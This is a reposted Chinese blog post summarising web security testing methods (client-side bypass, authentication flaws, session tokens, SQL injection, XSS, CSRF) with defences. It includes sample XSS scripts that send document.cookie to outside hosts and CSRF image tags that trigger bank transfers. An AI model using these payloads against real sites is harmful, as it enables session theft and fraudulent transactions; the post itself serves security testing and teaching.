最近領導讓做安全測試，從網上下了一個破解版的appscan，然后開始測試，測試結果也給了一些修改建議。然后領導讓整理了一下安全測試的一些漏洞和測試方法，我基本按照LoadRunner性能測試巧匠訓練營的后面的安全測試，稍做修改，這里發上來做保存。

一、繞過客戶端漏洞

1.????? HTML驗證

通常人們認為，HTML驗證不是一種安全的驗證方法。這種驗證只能幫助那些不知道該如何填寫表單、如何輸入的用戶縮短服務器處理時間。作為攻擊者，可以用各種方法輕易地繞過這種機制。任何客戶端驗證都應該復制到服務器端。這將大大減少不安全的參數在應用程序使用的可能性。

隱藏表單字段

隱藏的HTML表單是一種看上去無法修改，通過客戶端傳送數據的常用機制。如果一個表單字段標記為hidden或readonly,那么它就無法編輯，是完全隱藏的，不會在屏幕上顯示。但是提交表單時，保存在表單中的字段名稱和值仍然被提交給應用程序。這時，如果用發送接口或用調試工具可以輕易改變表單中的隱藏字段并發送給服務器，所以相關的隱藏字段的值在服務器端必須驗證。

HTTP cookie

與隱藏表單類似，HTTP cookie并不顯示在用戶屏幕上，也不可直接修改。而早期有些網站對于不同的會員等級會有不同的折扣，判斷是否享有折扣就用cookie來傳達。例如，有些早期的電商網站最早對金牌會員的折扣就是用cookie來傳達的，類似在用戶登錄后返回一個響應。如下：

HTTP/1.1 200 OK

Set-Cookie:DiscountAgreed=20

一些攻擊者可以利用工具或者不通過瀏覽器修改cookie的值，達到非法目的。

URL參數

應用程序有可能會使用預先設定好的URL參數通過客戶端傳遞數據。例如：

http://127.0.0.1/shop/1.html?quantity=1&price=449

當然，這個URL不一定直接顯示在瀏覽器地址欄中，也可能通過包含參數的URL加載框架內容或用彈窗等其他方法隱藏地址欄，這時仍可以通過攔截代理服務器來捕獲任何一個不規范的URL參數，從而修改某些參數，以達到繞過的目的。

加密數據

有時候，通過客戶端傳送的數據是通過加密或者某種形式的模糊處理的，并不以明文顯示。如通過攔截代理服務器得到這樣一組數據”D61E4BBD6393C9111E6526EA173A7C8B”，傳送的參數為：quantity=1&price=D61E4BBD6393C9111E6526EA173A7C8B,有幾種方法可以實施攻擊：

1）破解：看是否是base32、base64、MD5等基本加密方式，通過decode或彩虹表判斷，成功破解后修改值進行攻擊

2）如果完全無法理解，仍可以重新傳送它的值，如抓取另一款較便宜的產品的price進行替換，無視其模糊處理

二、攻擊驗證機制

驗證機制常被看作是防御Web惡意攻擊的核心機制。它處于Web安全防御陣線的最前沿，如果攻擊者可以輕松突破驗證機制，那么系統的所有功能、數據甚至賬戶余額等私密信息都會被攻擊者控制。驗證機制是其他所在安全機制的前提，如果驗證機制無法阻止攻擊，那么其它的安全機制也大多無法實施。

驗證機制常用的漏洞主要有：

密碼保護性不強

1）非常短或空白密碼

2）以常用字典詞匯為密碼

3）密碼與用戶名完全相同

4）長時間使用默認密碼

暴力攻擊

登錄功能往往是完全公開的，這樣的機制可能會誘使攻擊者試圖利用枚舉來猜測用戶名和密碼，從而獲得訪問應用程序的權利。如果應用程序允許攻擊者用不同的密碼暴力嘗試，直到他找到正確的密碼，這個程序就非常容易受到攻擊。

應對暴力破解，常采用的一些安全措施：

1）驗證碼

驗證碼方式雖無法完全避免被暴力破解，但也可以使多數隨意的攻擊者停止攻擊行動，轉而攻擊較容易的應用程序。

2）cookie檢測

例如，有一些應用程序會設置一個cookie,如failedlogin=0;登錄嘗試失敗，遞增該值，達到某個上限，檢測到這個值并拒絕再次處理登錄。

cookie檢測只能防止使用瀏覽器手動攻擊，用專門的工具進行攻擊就可以輕易避開。

3）會話檢測

與cookie檢測類似，將失敗計數保存在會話中，雖然在客戶端沒有標明該漏洞存在的跡象，但只要攻擊者獲得一個新的會話，就可以繼續實施暴力攻擊。

4）失敗鎖定賬戶

有些應用程序會采取登錄達到一定次數后鎖定目標賬戶的方式。但是有可能通過分析其響應，在鎖定賬戶的狀態下仍可以進行密碼猜測攻擊。

雙因子認證

是指結合密碼以及實物(信用卡、SMS手機、令牌或指紋等生物標志）兩種條件對用戶進行認證的方法。其核心是綜合個人密碼和通常為手機來達到雙重認證的效果。目前很多電商、銀行都采用了該認證方式。

該方法的最大缺點是構建雙因子認證的成本較高、服務器的壓力也比較大。

過于詳細的失敗信息

過于詳細的失敗信息，就會降低攻擊者攻擊的難度。如提示密碼錯誤，就可以猜測有這個用戶名。

密碼修改功能

成熟的系統除了用戶登錄，往往會提供密碼修改功能，但是在編碼過程中，我們往往忘記了這個功能中也會存在一些安全隱患。

密碼修改功能中常見的安全漏洞包括：

1）密碼修改功能是否擁有隱藏的后臺接口，如不通過登錄直接可以訪問該功能

2）是否可以使用不符合標準的密碼，如弱密碼等

3）密碼修改的請求提交時，是否用戶名也隨之提交？如果提交，是否可以通過修改用戶名來達到修改非當前登錄用戶密碼的目的？

忘記密碼功能

當前互聯網網站大多提供”忘記密碼”功能，但是其中往往會存在一些典型的安全問題，其核心問題就是忘記密碼的流程跳過了身份驗證。會有以下幾種可能：

1）需要確認應用程序中是否有隱含的忘記密碼功能或不通過用戶名查詢即可訪問的情況

2）如果恢復機制使用質詢方式，則確定用戶能否枚舉用戶名來得到質詢信息，與猜測密碼相比，響應質詢更容易

3）如果在忘記密碼的請求響應中生成一封包含恢復URL的電子郵件，獲取大量此類的URL并試圖分析和預測其發送URL的模式，是否可以得到其他未知用戶的恢復URL

4）無論是使用郵件，還是發送手機驗證碼，查看是否可以攔截請求以修改目標郵箱或手機號，從而達到繞過的目的。

用戶偽裝或”留后門 “

應用程序有時可能會允許特權用戶偽裝成其他用戶，例如某些電商網站擁有類似OOB(on order behalf)的功能，超級管理員可以偽裝成任意用戶來幫助其執行某些操作。

偽裝功能設計可以存在以下漏洞：

1）網站可能通過嚴格的權限控制(只有超級管理員才可以訪問的功能模塊)或是隱藏的鏈接(只有超級管理員才知道)的方式執行，例如在網站中有一個特殊的URL可以鏈接到一個不需要核對用戶身份的頁面執行部分操作。這時攻擊者可以嘗試使用枚舉URL或者使用爬蟲，從而攔截到該功能，劫持所有用戶。

2）有些偽裝功能以后門密碼形式執行，也就是說，對于一個普通用戶，除去該用戶設置的密碼外，還擁有一個”萬能密碼”。這種設計可能招致暴力破解，攻擊者攻擊成功后可以獲取所有用戶的密碼。

多階段登錄

在日常的網絡應用中，經常發現一些多階段登錄的功能，如在輸入用戶名、密碼后，可能會要求你驗證一個私密問題，通過后方可登錄。這樣的設計毫無疑問會增加驗證機制的安全性，但是，這樣的過程也可能產生更多的缺陷。

1）程序可能會認為，用戶一旦訪問到第二階段，就已經完成第一階段的驗證，那么可能會允許攻擊者直接進入第二階段

2）程序可能認為，在兩個階段的執行過程中，用戶身份不會發生任何變化，于是并沒有在每個階段都確認用戶身份。例如，第一階段提交用戶名和密碼，第二階段可能需要重新提交某個私密問題答案和一些個人信息。如果攻擊者在進行第二階段時提供了有效的數據，但是不同于第一階段時的用戶，那么程序可能會允許用戶通過驗證。

三、攻擊會話管理

會話管理機制的安全漏洞主要在會話令牌生成過程中和在整個會話生命周期過程中。令牌生成過程中的主要漏洞就是令牌可以被構造。其中包含兩種漏洞，一種是令牌含義易讀，也就是沒有進行加密或者加密了但可以被解密成可讀字符，另外一種是令牌可以被預測，可能包括一些隱藏序列、時間戳等。在整個會話生命周期中，可以通過獲取別人的token或sessionid來訪問。

四、SQL注入攻擊

幾乎每個Web網站應用都需要使用數據庫來保存操作所需的各種信息，所以Web程序經常會建立用戶提交的數據的SQL語句。如果建立這種語句的方法不安全，攻擊者就可以通過把SQL命令插入Web表單、URL等位置的方式，最終將SQL命令隨頁面請求提交至服務器，達到欺騙服務器執行惡意SQL命令的目的。

原理：

構造SQL語句，如加入”’”閉合SQL語句或加入#注釋將后面的驗證字段注銷或加入or使SQL語句的判斷條件永遠為True繞過驗證。

危害：

1）探知數據庫的具體結構，為進一步攻擊做準備

2）泄露數據尤其是機密信息、賬戶信息等

3）取得更高權限，來修改表數據，甚至是內部結構

預防機制：

1）參數化用戶輸入字段，同時過濾掉那些非法字符

2）降低用戶組的權限，受到攻擊后不至于受到重大損失

五、跨站腳本攻擊（XSS攻擊)

在Web應用中，惡意攻擊者將某些攻擊代碼植入提供給用戶查看或使用的頁面中，當用戶在打開網頁時，惡意腳本就會執行。這類攻擊通常通過注入HTML和JS等腳本發動攻擊。攻擊成功后，攻擊者可以得到私密網頁內容以及cookie等。簡單來說，XSS攻擊發生的核心原因是未正確處理用戶提交的數據，從而使惡意腳本代碼得以提交和執行。

XSS攻擊危害巨大，通常被用來盜取會話令牌，篡改甚至刪除重要數據和資料，偽裝用戶進行非法操作和非法轉賬。

XSS漏洞分三類，分別為反射式XSS，存儲式XSS和基于DOM的XSS

1)???????? 反射式XSS

反射式XSS是目前最常見的XSS攻擊類型，也稱為非永久性XSS攻擊。若服務器直接使用客戶端提交的數據，如URL中包含的參數、HTML表單中的提交數據等，并沒有對這些數據進行無害化過濾。如果提交的數據中含有惡意腳本沒有正確處理，那么一個簡單的XSS攻擊就會發生。

典型的反射式攻擊可以利用郵件或中間網站，誘鉺是一個看起來可信任的站點的鏈接，其中包含?XSS攻擊腳本，如果信任的網站沒有正確處理這個腳本，用戶點擊后就會導致瀏覽器執行含有惡意攻擊的腳本。舉一個典型的案例可以幫助理解：

用戶A在瀏覽某個為B讓你擁有的網站http://www.sample.com,A使用用戶名/密碼進行登錄，并存儲了某些敏感信息（個人信息及銀行賬戶信息等）。

C發現B的站點包含一個反射性的XSS漏洞，C編寫了一個可以利用該漏洞的URL，并將其冒充為來自B的郵件發送給A。

http://www.sample.com/test.aspx?message=<script>var+i=new+image;i.src=http://c.et/%2bdocument.cookie;<script>

A點擊了C提供的URL并登錄，嵌入在URL中的惡意腳本在A的瀏覽器中執行，就像它直接來自B的服務器一樣。此腳本盜竊敏感信息（會話及個人信息等），在A完全不知情的情況下，向C的Web站點發起一個帶有敏感信息的請求，C監控訪問http://c.net的請求便可截獲A的會話令牌。

2)???????? 存儲式XSS

存儲式XSS也稱為永久性XSS，危害更大。攻擊者將攻擊腳本上傳到Web服務器上，使得所有訪問該頁面的用戶都面臨信息泄露的可能，其中也包括了Web服務器的管理員。

典型例子：

在一個交友網站上，一個人在個人信息上寫上一段腳本，例如：

<script>window.open(http://www.mysite.com?yourcookie=document.cookie)</script>

而該網站沒有對該段內容進行正確編碼，那么網站其他用戶看到這個用戶信息頁時，就會將當前的cookie提交到該用戶的Web站點上。

3)???????? 基于DOM的XSS攻擊

反射式的XSS攻擊和存儲式XSS攻擊有一定的相似之處，二者都是將用戶數據提交到服務器端，服務器以不安全的方式將其返回給用戶。基于DOM的XSS攻擊僅通過js的方式執行。

基于DOM的XSS攻擊常發生在應用程序每次返回相同的靜態HTML，而通過客戶端javascript動態生成信息時。

XSS攻擊的測試方法：

探測是否存在XSS漏洞的基本測試方法是使用一個概念驗證攻擊字符串：

><script>alert(document.cookie)</script>

這個字符串被提交給每個應用程序頁面的每一個參數，同時測試者監控所有請求的響應，看響應中是否返回這個相同的字符串，如果發現攻擊字符串中按原樣出現在響應中，就幾乎可以肯定應用程序存在XSS漏洞。

XSS的防范措施：

1）輸入確認：如果應用程序收到某個用戶請求，其中提交的數據將來有可能被復制到它的響應中，應用程序需要對這些數據執行盡可能嚴格的確認。例如，過濾非法字符(<>’’”%等)、添加白名單、根據不同的字段設置不同的確認規則等。

2）輸出編碼： 如果應用程序已經將某些用戶提交的數據復制到它的響應中，那么應用程序應對這些數據進行HTML編碼，以凈化可能存在的惡意字符。這樣做可以最大程度地確保瀏覽器安全地處理潛在的惡意代碼，將它們轉化成HTML文檔的內容而進行處理。

六、跨站腳本偽造(CSRF攻擊）

盡管聽起來像跨站腳本，但它與XSS非常不同，并且攻擊方式幾乎相左。XSS是利用站點內的信任用戶，獲取用戶的cookie等私密信息；而csrf則不去獲取用戶的任何信息，只是通過偽裝為來自受信任的用戶的請求，通過社會工程學的手段（如通過聊天工具發送一個鏈接或被處理過的包含跳轉的圖片等）來蠱惑用戶進行一些敏感性的操作，如修改密碼、轉賬等，而用戶還不知道自己已經中招。

CSRF的破壞力依賴于受害者的權限。如果受害者只是一個普通的用戶，則一次成功的CSRF攻擊會危害用戶的數據、賬戶及一些功能；如果受害者具有管理員權限，則一次成功的CSRF攻擊甚至會威脅到整個網站的安全。

一個典型的CSRF例子：

A登錄了一個銀行網站testbank.com，準備進行查詢和網上轉賬。B通過自己的分析和攻擊嘗試，了解到這個站點的轉賬功能有某個CSRF漏洞。于是，B在自己的博客上發表了一條博客，并且在博客中插入了提前構造好的一行HTML代碼。

<img src=http://testbank.com/transferMoney.jsp?to=B&cash=6000 width=”1” height=”2” border=”0” />

CSRF攻擊的測試方法：

一般來說，測試人員需要對Web應用的一些核心功能進行CSRF檢測，那么首先需要確定哪些功能需要進行CSRF檢測。不同的應用有不同的標準，但有些核心功能基本每個Web應用中都有，而且十分關鍵。例如：

1）修改密碼、

2）對私密信息及數據的修改、刪除功能

3）與金錢相關的功能，如購物車、團購等

在進行如上功能CSRF測試的時候，可以假定自己同時具備兩個身份：攻擊者和受害者，然后按照下面的步驟進行操作。

1）用受害者身份登錄，然后進行某個重要功能的操作，假設進行轉賬，URL為：http://localhost/adduser?transferMoney.jsp?to=someone&cash=6000.

2）以攻擊者身份構造這個重要操作的URL,如可以寫為：<img src=”http://localhost/adduser?transferMoney.jsp?to=someone&cash=6000” width=”1” height=”1” border=”0” />

3）在確保受害者登錄的情況下，讓受害者點擊攻擊者構造的URL或生成的圖片

4）檢查結果：服務器是否執行了你的請求。如果執行了，說明了那個重要功能存在CSRF漏洞。

CSRF攻擊常用的防范措施

1）增加一些確認操作

比如說上面的轉賬功能，當用戶調用銀行系統api進行轉賬的時候，彈出一個對話框，如你確認要轉賬6000元嗎？這樣csrf受害者就可以知道他中招了。

2）重新認證

執行一些重要敏感的操作時，可以要求用戶重新輸入密碼，或者單獨輸入一個支付密碼以及手機驗證碼等進行二次認證，只有正確了才能繼續操作。這種做法顯然更安全，但對于用戶來說，易用性差了一些。

3）session失效

建立一個盡量短一些的會話不活動超時機制

4）設置token

a. 在用戶每一次登錄后，產生一個新的不可預知的CSRF Token，并且把此Token存放在用戶的session中

b. 進入某功能模塊，發現存在一個需要保護的表單，則需要增加一個隱藏字段來存放這個Token，同樣，對于需要保護的URL，增加一個參數來存放些Token。

c. 提交此請求的時候，在服務器端通過請求提交的Token與用戶session中的Token是否一致，如果一致，處理請求，否則返回一個錯誤信息給用戶。

d. 在用戶退出或者session過期的時候，用戶信息（包括CSRF Token)從session中移除并銷毀session

轉載于:https://www.cnblogs.com/linwenbin/p/11077684.html

總結

以上是生活随笔為你收集整理的安全测试的一些漏洞和测试方法的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。